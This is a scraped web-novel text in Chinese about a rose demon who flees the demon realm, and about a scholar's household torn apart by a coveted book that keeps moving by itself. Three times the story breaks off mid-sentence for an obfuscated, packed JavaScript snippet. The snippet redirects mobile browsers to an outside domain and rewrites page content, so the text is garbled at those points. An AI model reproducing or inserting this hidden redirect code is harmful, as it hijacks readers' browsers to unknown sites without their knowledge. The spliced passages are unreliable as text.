《花妖偷渡手记》 1. 引子 妖界。 天昏地暗,尖啸阵阵。 月季颤抖着伸出一条花枝,一点点拂去身上的污泥。 这泥土的味道又腥又臭,浸透了鲜血和汁液。 有自己的,有绿牡丹的,还有一路上惨遭屠戮的大妖小妖。 每只妖的气味独一无二,混在一起,却只剩死亡的味道。 这场架由绿牡丹挑起,打了整整十天十夜,从北邙山头一直打到具区泽边。 好奇多看了一眼的,死不瞑目。 单纯只是路过的,尸骨无存。 妄图占点便宜的,被生吞活剥。 用最后的力气把死对头绿牡丹甩进水里后,月季体力不支,昏了过去。 再醒来,就是满身的泥。 头顶风声凄厉,像永不止息的哀号。 月季勉强支起身子。 视野逐渐变亮,变高,变宽…… 原来她倒在具区泽边。水面上清波荡漾,鲜红的碎片起起伏伏,绵延数十里,都是她掉下来的花瓣。 临水自照,不禁吓了一跳。那光秃秃的身体是自己的吗?花叶俱损,枝干上密密麻麻的伤口连成一片,还在不断渗出汁液。稍微一动,就是钻心地疼。 似乎老天也觉得她可怜,空中骤然响起一声惊雷,随即,大雨滂沱而下。 鸡蛋大的雨珠打得表皮生疼,却也激发了生命力。没一会儿,孤零零的花枝重又抬起了头。 月季喘过一口气。 只要没打死,就能接着打。 远处昏沉天幕下,浮玉山的轮廓若隐若现。 她呆了半晌,小心地从土里拔出折断的根系,一步一步向山脚下挪去。 她移动的速度十分缓慢,挪到一间茅草屋门口时,大雨初歇。 带刺的枝条刮在门板上,发出嘎嘎的怪声。 门开了,一个鹤发童颜的脑袋伸出来,上下左右搜寻一圈,才定格在正中间那棵光秃秃湿漉漉的枯枝上,愣了愣,问道,“月季?” 月季辛酸地抹了把脸,“白胡子老头,我受够了。” 老头了然,眼睛眯成一条线,让开半个身子,“快进来。” 屋里的东西多到无法下脚,月季熟门熟路地挤过橱柜桌椅,那些木头似乎都很敬畏她,乖巧地跳起来让路。她长驱直入,进到里间,把根系全部扎进一只硕大的红陶花盆里。盆中泥土温暖干燥,是她喜欢的清爽感觉。 白胡子老头拿出一把巨大的铜壶,兜头浇下。水珠触到枝条的那一刻,月季发出一声满足的叹息。 “这是窖藏昆仑山雪水,破例请你喝一次。” 月季睁开一只眼,“今天怎么这么大方?” “看你被打得太惨,于心不忍。” 月季哼了一声,吐息三次,头顶浮起一颗晶莹剔透的花蜜,色泽淡黄,泛着柔光。花蜜和着水,在她全身上下擦了一遍。 伤痕累累的枝条立刻起了变化。伤口迅速凝结、消失。星星点点的绿色钻出枝干,一眨眼就长成圆鼓鼓的嫩叶,朵朵花苞鼓出,转瞬间绽放成巨大的花盏。 一壶水浇完,盆中已不再是枯枝,而是一株枝繁叶茂的月季花,鲜红的花冠娇艳欲滴,无风亦招展。 白胡子老头收起铜壶,啧啧称赞,“雪水难得,花蜜更难得。你有这样的宝贝,难怪打起架来毫无顾忌。” 月季转动花冠。外形虽然复原了,痛觉却没有消失。她浑身都像散了架。 “我受够了。这种打打杀杀的日子,一天都过不下去了。” 老头一叠声应道,“不错不错,血雨腥风,着实可怕。” “三天一小架,五天一大架。只要还没死,就得接着打。” “打架是妖的本能嘛。” “打到最后,不是吃掉别的妖,就是被别的妖吃掉。” “唉,弱肉强食,实在残酷。” “我那个死对头绿牡丹,这回铁了心要抓我去斗花大会。”月季忿忿道,“每次大会,她都要抓一只花妖,折磨得半死不活,带在身边,好衬托她的美艳无双。如此恶毒,妖界罕有。” 老头恍然,“她这次盯上了你,想必被打得落花流水,铩羽而归吧?” 月季一愣,花瓣变红了一点,“……虽然这次打跑了她,过几天又会来纠缠,没完没了,烦不胜烦。” 她和绿牡丹多年宿敌,实力不相上下,长年这样打下去,必有死伤。她可不想成为绿牡丹腹中之物。 老头白胡子后面的笑意渐浓,“这样提心吊胆的日子,可怎么过得下去哟!” 月季抬起头,巨大的花盏里满是向往之色,“你跟我说,人间没有妖,也没有争斗,此话当真?” 老头把胸脯拍得砰砰响,“那是当然!和妖界比起来,人间是真正的富贵繁华温柔乡。那里岁月静好,生活安逸。人类天性和平,柔弱可欺。在那里生活,没有任何烦恼!” “去了人间就不用打架了?” “人间没有妖,谁来和你打架?人类的寿命极其短暂,而且没有修为,你要碾死他们,就如同碾死一只蚂蚁。” “我倒不想碾死谁。” 老头眯起眼睛,“那你尽管躺平便是。” 月季的目光穿过满屋琳琅,停在墙上挂的一幅仕女图上。图中女子亭亭玉立,明眸善睐,巧笑嫣然,周身似笼着一层轻烟薄雾。 她抖了抖叶子,凝神闭目。须臾,娇艳的月季花消失不见,一个同画上一模一样的女子从盆中迈步出来,藕粉色的裙摆上还沾着几点污泥。 老头掏出一面铜镜,大笑,“足可乱真了。” 月季盯着镜中人端详许久,“老头,我决定了。送我去人间。” 老头大喜,面上故意端起架子,“去人间的代价高昂,你可舍得?“ “……你等我一下。” 月季风风火火地跑出门,半日后,捧着大包小包回来了。 最大的包里,是一罐罐封装好的泥土。她如数家珍,“这罐是从泉妖处抢来的,浸了三百年甘泉水。这罐是从山洞里挖出来的,从没照过阳光,土性最是沉稳;这罐是从浮玉山头采来的,三足金乌在上头留下过脚印呢。” 说完又打开另一个包,摆出一坛坛清水,“温泉冷泉,活水死水,甜水咸水,应有尽有。这都是我多年珍藏,压箱底的宝贝。” 老头皱眉,“你们花妖的喜好,只有土和水么?” 月季点头,“有了水土,才能生存啊!” 老头大手一挥,“这些加起来,姑且充作一成代价。” 月季撇撇嘴,解开最小的包袱,藤条床、八仙桌、贵妃榻、秋千架,一件件飞出来,变作原本的大小,落在院中。每一样都是月季枝条所制,精致华美,微风拂过,带出独特的花香。 她痛心道,“一家一当,都给你了。” 老头捻着胡须,细细数了一遍,眼珠滴溜溜打转,“算作三成吧。还有六成,怎么支付?” 月季大叫,“我的全部身家都在这里,别的没有了!你已经搜刮了满满一屋子家具器物,还嫌不够么?” “那就给些稀罕物,比如 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16084208|179499||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,花蜜?” “十年修为才能炼出一颗花蜜。我统共没有多少,还得留着保命呢。” “唉,你这就目光短浅了。人间太平安乐,你去了那里,大可泰然高卧,过上几天,连怎么打架都忘记了。何须花蜜呢?” 月季抿着嘴唇,不情不愿地给了两颗。 老头拿在手里,接着劝,“人类柔弱可欺,手无缚鸡之力。你这五百年的修为,到了人间,大可闭着眼睛横行于世。” 月季仰头出神片刻,又给了两颗。 “人间富贵繁华,你只消待上一阵,用点小法术,顷刻就能攒起庞大身家。” 月季脸上现出憧憬的笑,挥手又给了两颗。 她双掌一摊,“这回真的没了。” 老头变出一只锦囊,把花蜜悉数收进去。一转头,瞥见月季的袖子无风自动。 “那里面藏的什么?” 月季疑惑地抖抖袖子,几只银色翅膀的蜜蜂飞了出来。 “诶,这是我养的银翅蜂,怎么钻到衣服里去了?” 老头喃喃自语,“银翅蜂可以入药,与九瓣莲同服,增长修为,延年益寿。” “你说什么?” “哦,没什么,你走以后,这几只蜂,我就替你保管吧。” 蜜蜂围着月季的头一圈一圈打转,似乎很舍不得。 老头怕她犹豫,一把拽过她的衣袖,“好了好了,花蜜加上银翅蜂,代价已经付清,老夫这就送你去人间。” 月季跟着他进屋,桌椅板凳一一跳开避让。大方桌上原本立着一面铜镜,桌子跳到一旁,它却没有跟过去,而是孤零零地悬在半空。 老头郑重地捧起它,交到月季手里。 “穿过这面镜子,你就能到人间了。” 月季瞪着它,“这不就是你先前拿给我照的镜子吗?” “正是。” “我的全部身家,就换了这?!” “可不要小看它。自上古时代颛顼绝地通天之后,妖界人界通道断绝,再也无法自由来去。这面镜子曾追随颛顼大帝身侧,沾染了少许神力,才能助你穿梭两界。” 月季听不明白。上古时代太遥远了。自有记忆开始,她就是一株生长在具区泽边的小花,享受阳光雨露滋养,无忧无虑。闲来欺负欺负邻居泉妖,望望浮玉山头升起的明月。后来她修为渐长,拔出根系,四处游荡。结的仇越来越多,打的架越来越多,见的事越来越凶残。近百年来,拜绿牡丹这个死对头所赐,几乎没过过一天安生日子。 一个偶然的机缘,她结识了白胡子老头。老头不是妖,却能在妖界存活下来,守着一间来去无踪的茅草屋,贩卖些稀奇古怪的东西。 比如法宝,比如药,又比如,关于人间的消息。 自从听说那个太平安乐的世界后,月季深深觉得,妖界,实在没什么可留恋的了。 手里的镜子微微颤动,似乎感应到她的心情。 镜中人双眼泛光,唇角勾起。 “我这就去人间,躺平!” 老头教了她一个复杂的诀,“正着念是去,反着念是回。” “回?” 老头坏笑,“有空回来看看,仇家有没有追上门。” 月季学着人的样子翻了翻眼睛,“门都拆了卖给你了。我走了。” 她口唇翕动,依着老头所授,念出一长串口诀。 镜子像被烫了一下,猛地跃到空中,镜面裂开一条大缝。缝隙越来越大,足可以把她装进去。 转瞬间,世界颠倒…… 2. 海内存知己(一) 南安县。 一条玉川蜿蜒而过,滚滚河水东流,捎来官吏的马,商人的船,剑客的酒,文人的诗,共同浇灌出一个富贵繁华温柔乡。 玉川岸边伫立着一座白墙黑瓦、雕栏画栋的两进宅院。门口匾额上龙飞凤舞三个大字:琳琅阁。它已经在那立了两百年,换过几任主人。其现任主人正是号称天下文宗之首的范老夫子。 范老夫子学富五车,文章卓著,更有一本令天下学子心痒难搔、趋之若鹜的宝书——《辞论》。这是前朝大家陆夫子的著作,相传只要读过这书,科举致仕便如探囊取物,必能像陆夫子一般青云直上,位极人臣。只可惜历经朝代更迭,战火纷飞,卷帙散逸失传,仅余一册孤本。 范老夫子自从得到这件宝贝,便拿住了天下学子的命脉。他定下规矩:宝剑赠英雄,宝书酬知己。唯有他的知己,才能读到《辞论》。是以琳琅阁门前常年熙熙攘攘,大排长龙。想拜入门中的人数不胜数,金银珠宝流水一样送进来,堆成小山。 怎奈范老夫子眼高于顶,多年来只收了钱、杨、韩、柳四个弟子。 阁中另有丫鬟小薇和两名仆妇,照顾老夫子和四个弟子的饮食起居,并琳琅阁里里外外的洒扫,每日天不亮就起床,忙到深夜才歇下。 数月前的一天晚上,书房传来一声瓷器破裂的脆响,紧跟着老夫子的怒骂:“不识好歹的下贱东西!字谜也是你能猜的?!” 四个弟子本来都准备歇下了,一听“字谜”二字,困意顿消。 外人都以为他们既已进入琳琅阁,必定每天捧着《辞论》在读。谁知范老夫子另设了一重考验:谁能猜出天下第一难解的字谜,谁就是他的知己。 谜面是八个字:黄绢、幼妇、外孙、齑臼。众弟子自入门第一天,就在琢磨这八个字,日也想,夜也想,连做梦都在想,人人都想破了头,也没猜出谜底。 难道被别人猜出来了?! 四人赶紧披衣起来,冲进书房。 进门一看,小薇跪在地上,捂着自己的喉咙,圆圆的脸上满是惊恐,一双杏眼瞪得老大。 这丫鬟素日胆小,二弟子杨鸣珂时常趁夫子不在,在她身上捏上一把,揩些油水。小薇也不敢恼,拧着身子躲开,双丫髻一颤一颤,脸庞红得像天边晚霞。 此时她右手手背烫得通红,还沾了几片茶叶渣。范老夫子俯视着她,怒不可遏,稀疏的胡子簌簌而动。 “把刚才的话再说一遍!” “不是我,咳咳,我没说话……” “老夫亲耳听到,还想抵赖?” “我喉咙里,咳咳,进了东西……有人……有东西,在我嘴里说话!”小薇死死地抓住自己的喉咙,像要把里面的东西抠出来,白皙的脖子上抓出一道道红痕。 “可笑,当老夫是三岁小孩吗?”范老夫子眼光一转,看向弟子。“还是你们中的哪一个,随口杜撰了几个字,骗她说是谜底,让她来消遣老夫?!” 弟子们当然矢口否认,“绝对没有!我们若知道了谜底,怎会告诉旁人?!” “那就是这个贱婢偷学偷听!”范老夫子怒道,“琳琅阁是何等地方,能进来的学子都是万里挑一,你奴籍出身,伺候了老夫几年,就妄想跻身上流?老夫就是把《辞论》给你,你读得懂么?” 小薇又惊又怕,哭道,“我没偷学,也没有非分之想!” 范老夫子显然是气得狠了,身子晃了晃,大弟子钱修远赶紧冲过去扶住。 “将这个贱婢打断双腿,赶出南安县!” 小薇尖声哭叫着求饶,身子扭来扭去,两个仆妇合力都按不住她。还是钱修远抓着手腕,把她拖了出去。 二弟子杨鸣珂跪在太师椅边,一下一下给范老夫子揉心口。 三弟子韩思年说了一句,“岂可动用私刑……”,被柳望川一把捂住了嘴。 大家都知道,忤逆范老夫子的下场,比断腿更可怕。 皓月当空,钱修远举起长棍,一下一下打在小薇腿上。小薇嚎得跟杀猪一样。他也当真卖力,打断两根棍子,打得手臂发颤,汗流浃背。 打了一炷香的工夫,范老夫子才喊停。小薇早已疼晕过去,没了声息。两个仆妇用条草席把她裹起来,扔进柴房。用了几大盆清水,才冲干净地上的血污。 次日一早,候在门外求见范老夫子的学子们,亲眼目睹气息奄奄的小薇被扔了出来。消息迅速传遍南安县。 小薇家境贫寒,父母本指望女儿赚些银子补贴家用,听说她得罪了当世大儒,被扫地出门,慌忙赶来谢罪。范老夫子不准他们进门,夫妻俩在门外磕了几个头,用一辆破破烂烂的板车,把小薇拉走了。 范老夫子气还未消,嘱咐弟子们,“琳琅阁藏书过万,奴才若是不守本分,与贼人无异。你们要谨记。” 经此一事,他心里生了嫌隙,很快便找些由头,把两个仆妇都辞了。日常起居饮食、洒扫伺候,全由弟子们包揽。 弟子们忙得不可开交,没人再去打听小薇的消息。 没过几日,变故陡生。 那本天下学子人人趋之若鹜的宝书《辞论》,它活了! 最先倒霉的是二弟子杨鸣珂。 这天早课,大家正摇头晃脑地背书,突然啪地一声,从他袖子里掉出一本装帧精美的古籍。书掉在地上,正好露出封面。杨鸣珂呆头呆脑地凑上去,念道,“辞……论……”。 人人都看着他。他的脸色由白转青,由青转红,似乎不敢相信这就是自己盼望了十几年的宝贝。 杨鸣珂将书拾起,千不该万不该,做了个揣进怀里的动作。 范老夫子抢上来一把夺过,怒喝道,“鸣珂,你枉读了多年圣贤书,竟去做贼?!” 杨鸣珂傻眼了,“这书怎会在我袖中?我从没拿过啊!” “难道它长了腿,自己跑到你身上?” 杨鸣珂这才意识到,此情此景,落在他人眼中,就是人赃并获。他脸上血色尽褪,扑通一声跪到地上,“师父!弟子冤枉啊!” 范老夫子抚平卷边的书页,又是心疼又是气愤,要不是杨鸣珂出身世家,恨不得也打断他的腿。只是他放《辞论》的地方从来都秘不示人,这小贼如何得知? “不肖弟子,偷窃宝书,即刻逐出琳琅阁!” 杨鸣珂如遭雷击。他为了拜入琳琅阁,先是无数金银珠宝铺路,数年如一日地求见,熬走了上百人,才争得一席弟子之位。谁料到一朝梦断,跌落谷底。光是“琳琅阁弃徒”之名,就足以让他前途尽毁,自绝于天下文人之列。 他膝行到范老夫子脚边,抓着他的衣角,“弟子真的没有偷书……求夫子明察!” 范老夫子送了他一个字,“滚。” 一个时辰后,杨鸣珂背着行囊,在众目睽睽下离开琳琅阁。门外围观的众人又是一阵议论纷纷。前后没几天,先辞下人,又逐弟子,阁中究竟出了何事?人人把头颈伸得老长,恨不能伸过院墙来看看。 三弟子韩思年把柳望川拉到一边,“你觉不觉得此事蹊跷?鸣珂此人,是有些孟浪,可并不像做贼之人。而且怎会如此之巧,暴露于众人面前?” “难道他是被冤枉的?” 韩思年点点头,“可惜夫子从不听人喊冤。” 他意有所指。 柳望川猛然醒悟,“你是说小薇?我也觉得蹊跷,猜错字谜又不是什么了不起的过错,怎会引得夫 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16084209|179499||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 子发那么大的火。 “总之大家小心为上。” 然而没过几天,韩思年也出事了。 他接了小薇和杨鸣珂的活,晚上进书房给老夫子斟茶送水,外加磨墨。刚磨得几下,从袖口掉出一物。正好落在老头鼻子底下。无须细看,凭着封面的形状和色泽,就知道那是《辞论》无疑。范老夫子又惊又怒,大喝,“欺师灭祖!” 韩思年脸色煞白。有了杨鸣珂的前车之鉴,他已经处处小心提防,不料还是中了招。 “弟子一整天都未曾离开旁人视线,不可能偷书,请老师明察!” “你们一个两个,都反了天了!” “老师若是就此赶走弟子,真正的贼人就逍遥法外了!” “还敢狡辩!” 范老夫子拿起砚台,朝韩思年头上砸去。韩思年闪身躲过,墨汁泼了一身。 “滚!”范老夫子吼道,“滚出去!” 韩思年连衣服都没来得及换,就被连人带行李扔了出去。虽然天色已晚,只有几个街坊邻居看见,消息还是迅速传遍南安县。琳琅阁千挑万选的四大弟子,两个都是贼,当真是斯文扫地。范老夫子再德高望重,也无法阻止闲言碎语了。 柳望川预感下一个就要轮到自己。 他整日疑神疑鬼,一天要换三次衣服,惟恐《辞论》长了腿,跑到自己身上。 略懂一些厨艺的人都不在了。钱修远自告奋勇下厨做菜,柳望川远远闻着焦味,便推说身子不适,独自跑到院中歇息。 午后阳光和暖,一架紫藤开得正艳,他躺在花荫下,不知不觉地睡着了。 醒来时,目不能视,脸上盖了样东西。一转脖子,书册滑落,露出范老夫子愠怒的脸。 柳望川愣怔片刻,到这一步,反而平静下来。他也不做解释,双手高举过头,奉上《辞论》。范老夫子沉思许久,吩咐,“叫钱修远来。” 钱修远刷碗刷到一半,被柳望川喊去前厅。 老夫子端坐堂上,头顶着“宁静致远”的匾额,瞪着眼睛,打量二人许久。 “你可以走了。” 柳望川磕了个头,泣道,“是。” “我说的是他。” 柳望川一惊,透过泪眼,只见范老夫子颤巍巍的手,指向大弟子钱修远。 钱修远扑通一声跪倒,“老师,弟子不知犯了何错?” “逆徒!你以为骗得过我吗?盗取藏书,设计陷害三位同门,其心可诛!” “我没有!” “你以为赶走了他们,就能继承琳琅阁?做梦!” “如果三位师弟是冤枉的,那弟子也是冤枉的……” 范老夫子根本不听他解释,“滚。” 钱修远高喊,“弟子侍奉了你十年!没有功劳也有苦劳啊!” 柳望川突然尖叫,“是小薇!是小薇回来复仇了!” 另外两人都看向他。 “小薇受刑以后,定是死了。冤魂不散。是她附在那本书上,故意报复我们,让我们也尝尝蒙冤不白的滋味!” 钱修远眼中闪过惊恐之色。 范老夫子嗤之以鼻,“子不语怪力乱神。” 柳望川对自己的猜测深信不疑。他的耳朵里发出一种奇特的嗡鸣声,身体软绵绵的,像被抽掉了骨头,眼前一黑,栽倒在地。 再醒来的时候,琳琅阁只剩下自己和老夫子两人了。 柳望川作为硕果仅存的弟子,留在阁中,却殊无快意。他的日子加倍难过,所有的活都落在他一人身上。每天天不亮就要起来洒扫,晚上还要三番五次扶范老夫子起夜,给他倒夜壶。 更可怕的是,他开始看见小薇了。 3. 海内存知己(二) 柳望川时常看见小薇。 打扫书架的时候,她就站在身后,递上块干净抹布。从井里打水的时候,水面映出她圆圆的脸,一脸羞涩的笑。在厨房削土豆削破了皮的时候,小薇抢过他流血的手指,放在嘴里吮吸。 当他想拉住她,跟她说句话的时候,小薇却消失不见了。偶尔清醒时,柳望川明白这个“小薇”是自己的幻觉。可现实如此可怖,他宁愿生活在幻觉里。 一天下午,小薇把他领到下人曾经的住所,打开柜子,捧出一件纱衣。色泽莹亮,拿在手里轻若无物。 小薇把衣服递给他,那眼神似乎在说,“穿上吧,穿上吧。” 柳望川连连摆手,“这是女子贴身所穿,我怎能……” 小薇把纱衣抖了开来。日光一照,几近透明。柳望川突然悟了。杨鸣珂和韩思年,都是栽在衣服上。宽袍大袖,被放进赃物犹不自知。要是穿上这样的纱衣,身上一览无余,哪藏得住什么《辞论》! 他大喜过望,一面叫着,“我安全了,我安全了!”,一面去拉小薇的手。指尖握住纱衣一角。小薇消失了。 柳望川当即回房换衣。他身材本就纤弱,近日惊恐失眠,又劳作不休,已经瘦得皮包骨头。那纱衣穿在身上,除了袖子短上一截,倒也合体,薄薄的料子贴上肌肤,皮肉一览无余。 柳望川大为满意,随手拿了本书,坐在院中诵读。 范老夫子开门出来的时候,差点吓得载个跟头。院中那个近乎□□的男子,不是他仅剩的弟子柳望川,又是谁? “望川,你穿的什么?!” 柳望川站起身,行了一礼,“弟子是在自证清白。穿上这个,任何人都不能栽赃于我。” “不知廉耻!有伤风化!”范老夫子气急,举着手中戒尺朝他头上打去。柳望川跳着脚闪避,动作一大,纱衣的结散开,成了个袒胸露乳的姿态。 他这些日子行迹疯癫,眼神发直,自言自语,范老夫子都看在眼里。不料竟恶化至此,连礼义廉耻都不顾了。 眼看这最后一个弟子也不中用了,半生心血付诸东流,范老夫子眼眶一酸,流下泪来。 他辞下人,逐弟子,为了保下《辞论》行事狠戾,从未有过丝毫悔意。直到此刻,才惊觉众叛亲离,自己已成孤家寡人。 心中的酸楚压过了愤怒。他长叹一声,放下戒尺。 弟子要疯,就由得他去吧。 入夜,柳望川穿着纱衣,呆立院中。偌大的宅院空空荡荡,悄无人声。从前的好日子,遥远得像一场梦。初秋微凉的晚风拂在脸上,他打了个寒噤,脑子又糊涂起来。 他从井中打了盆水,费劲地提起来,晃晃悠悠,拎到弟子居门口,泼出大半。 “师兄们,该洗漱了。” 弟子居的大门洞开,里面黑漆漆的,一个人都没有。他这才想起,师兄们都不在了。 他愣怔片刻,放下水桶,也不点灯,上床和衣而眠。 不知过了多久,好像被谁推了一把,柳望川猛地睁开眼睛。屋内一片漆黑,外头隐隐传来打更声。他深吸一口气,感到肚子上有一块硬硬的东西。 他伸出颤抖的手指,摸到硬物边缘。长方形,纸质细腻,触手干爽。不用看,他也知道这是何物。 《辞论》! 柳望川抓起书就跑,甚至没有点灯看上一眼。他忘记了自己千辛万苦拜入琳琅阁,就是为了读到《辞论》。他只知道,三位师兄得罪了夫子,已如过街老鼠,遭天下士人唾弃,再无前途可言。自己万万不能步他们后尘。 一口气跑到藏书阁门口。铁将军把门。自从出事后,范老夫子为保万全,每日亲自入阁清点藏书,里里外外共上了十二把锁。 柳望川也不知哪里来的力气,去柴房拖来一架梯子,架到窗边,手脚并用往上爬。二楼的窗户也是从里面锁住的。他抡起拳头,砸破木制的窗棂,翻了进去。 窗户离地半人高,柳望川一头栽下,摔得眼冒金星。 他并没意识到自己弄出了多大动静。藏书阁藏书过万,里头书架林立,他借着窗口透进来的淡淡月光,像无头苍蝇般乱转。鬼使神差地转到最后一排,发现一个书架中空,内有夹层,里面放了只绣花锦盒,盖子开着,精巧的铜锁掉在一边,盒子里空空如也。 原来夫子一直把《辞论》放在这儿! 柳望川正要把书放上去,身侧突然亮了起来。回头一看,书架之间,一星灯火如豆,照出范老夫子佝偻的身形和阴森森的脸。 “夫子!”他大喊一声,“我是来还书的!不是来偷书的!” 范老夫子将灯拿近。柳望川仍穿着那件可笑的纱衣,下摆扯掉了一大片,手上、身上亦多了许多口子,显然是慌不择路闯进来所致。他双手捧着《辞论》,像捧着一件易碎的瓷器,微微颤抖。 范老夫子接过这人人觊觎的宝书,就着烛火,细细检视一遍,小心翼翼地放回锦盒,亲手锁上。 他张嘴想说些什么,却没发出声音。年迈的身体靠在书架上,慢慢滑下去,和柳望川一样坐到了地上。 师徒二人相对无言。 蜡烛不知何时熄了。 等清晨的第一缕天光照进来,柳望川兀自熟睡。 范老夫子摇摇晃晃地爬起来。脑海中两股念头交战。看柳望川的惨状,不像装出来的。他或许当真无辜。可事关《辞论》,这毕生荣华所系,他不敢再相信任何外人。 他做了个决定。只有自己的血脉,才能守护琳琅阁。 他伸手去开那锦盒。锁扣滑开,盖子弹起,盒中……居然空无一物! 范老夫子狠狠地揉了揉眼睛。 几个时辰前亲手放入,再未离开视线,锁扣完好,里面的东西却不翼而飞。 手指指尖开始发麻,迅速蔓延到小臂、全身,脑海中浮现四个弟子被抓时忿忿不平的脸。事到如今,他终于相信,他们都是被冤枉的,琳琅阁中发生的一切,并非人力可为。 他胸口气血翻涌,抓着盒子,仰天长叹,“老夫一身浩然正气,何不能驱邪耶!” 哇地一声,喷出一大口鲜血,摔倒在地。 三日后,沈灵均登门拜访。 身为南安县唯一的捉妖师,沈灵均业务清闲,地位高超,除了偶尔去衙门点卯,平日都在府中闭关修行。 南安县太平久了,沈大人早年捉妖的英勇事迹,大家已有些淡忘,对他本人的翩翩风度,出尘英姿,倒是记忆深刻,历久弥新。 因此,当他跟着柳望川,走下望月桥时,琳琅阁外围观的人丛里除了文人学子,还多了一群妙龄姑娘。 若非他有术法防身,定要被灼热的目光烧穿了。姑娘们冲他甜笑、挥手, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16084210|179499||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 塞上扇子、香囊,甚至贴身的手绢。 “沈大人别来无恙!” “沈大人今日要大显身手了!” “我们可以进去看吗?” 一旁的学子们看不过眼,齐声斥责,“无知妇孺!琳琅阁岂是闲杂人等能进的?” 姑娘们反唇相讥,“只剩个空壳了,还摆架子呢!” “范老夫子乃是天下文宗之首!岂容尔等置喙!” “死走逃亡伤,夫子坐中央。说的不正是琳琅阁嘛!” 两边你一言我一语,眼看就要吵起来,沈灵均连忙安抚,“诸位稍安勿躁,此间事由,请容我先行查探。” 柳望川打开大门,把他迎进去。范老夫子歪在一张太师椅上,口角流涎,瞪着前方。自摔倒后,他的半边身子就不听使唤,只能如此歪坐。 “夫子,沈大人亲自来了。沈大人,夫子贵体抱恙,失礼之处,万望海涵。” “好说。” 范老夫子气若游丝地问,“近日发生的怪事,望川都跟你说了?” 沈灵均点了点头。其实也无须柳望川转述,此事一传十、十传百,早已传遍南安县。 “贵府那本消失的《辞论》,可有找到?” 范老夫子还能动的那只眼中落下泪来。 早年得到《辞论》,是他一生最幸运之事,飞黄腾达,皆由此始。 为了独占它,他不择手段。为了保住它,他众叛亲离。 如今书没了,好运势也到了头。 沈灵均沉吟片刻,“请带我去藏书阁一观。” 范老夫子拼命提起一口气,“望川,你背着我同去,不许,咳咳,不许……” 柳望川赶紧过去给他揉胸口,“弟子知道,不许外人私拿书册,《辞论》虽没了,藏书阁其他的珍本同样价值连城……” 沈灵均听得清清楚楚,心中暗自好笑。这夫子将宝贝看得太重,看谁都像贼。 柳望川艰难地背起范老夫子,走到藏书阁前,依次打开十二道锁。阁门一开,就有股淡淡的腥味扑鼻而来。 沈灵均心中一凛,这个地方,果然有妖。 他从怀里掏出罗盘,指针微微颤动,上下左右地乱晃,却未指明方向。 妖气很弱,看来是只小妖,也正因为太弱,难以锁定踪迹。 得想个法子,把它引出来。 他站在藏书阁中,闭目凝神,念了两遍清心诀。思索片刻,出琳琅阁大门,向南走了五十步,布下一个法阵。 师父去妖界前留下许多法器,现在他手头宽裕得很。沈灵均从锦囊里掏出绊妖刺、捆妖索,一一布置妥当。 众人早就围拢过来,七嘴八舌地议论,“沈大人,妖会在此处现身吗?” “有可能。诸位速速远离为上。” “我们替你守在这里。”一个穿绿衫的大嗓门姑娘道,“妖一出现,我们就喊你过来。” 沈灵均苦笑。真的是太平日子过久了,不把妖当回事。 转念一想,那小妖气息微弱,还不足以伤人。让大家热闹热闹也无妨。 “诸位如此有心,那就有劳了。谁捉住了妖,衙门重重有赏。” 众人欢呼声中,沈灵均背着剑,翩然而去。 他在阁中念的清心诀与外面的阵法互为感应,不出三日,小妖必然现身。 4. 海内存知己(三) 坠落……坠落…… 砰! 双膝撞到坚实的地面,一阵钝痛。无数种从没闻过的复杂气味争先恐后钻进鼻子。 月季晕晕乎乎地爬起来,还没站稳,就听到一声尖叫,“啊——有妖!” 声调之凄厉高亢,堪比妖的尖啸。 她吓得一个激灵。有妖?哪里有妖?她不是刚刚穿过铜镜来到了人间吗? 她费力挤掉眼中的露水,向四周打量。唔,看起来……确实是人间。少说几十个人把她围在中间,里三层,外三层。手里举的不是铁棍,就是火把。一个个眼睛瞪得像铜铃,张着血盆大口,眼看就要扑上来。 这副模样月季再熟悉不过了。妖吃妖之前,也是这个样子。 喊声此起彼伏,“抓妖怪!”“烧死它!”“快去请沈大人!” 月季傻眼了。不是说人间没有妖,也没有争斗吗?怎么和说好的不一样啊?! 她动动手指,正要刮一阵狂风,把他们全吹到九霄云外去,不巧有只小虫,趁她嘴唇微张之际,以迅雷不及掩耳之势,径直飞进了喉咙。 月季被呛得弯下腰,干呕了两声。围观人群见她突然动作,慌忙退开。 片刻后,她再度抬头,一张花容月貌的脸上,亮晶晶的满是泪水,朱唇轻启,对着琳琅阁的方向哭喊道,“外公!” 人群哗然,“外公?”“她喊的是外公?” 包围圈裂开一道口子,露出个瘫坐在太师椅上的老人。身体歪向一边,脸上沟壑纵横,满是皱纹。浑浊的眼睛向外突起,似乎很想过来,却站不起来。 “你叫我什么?” 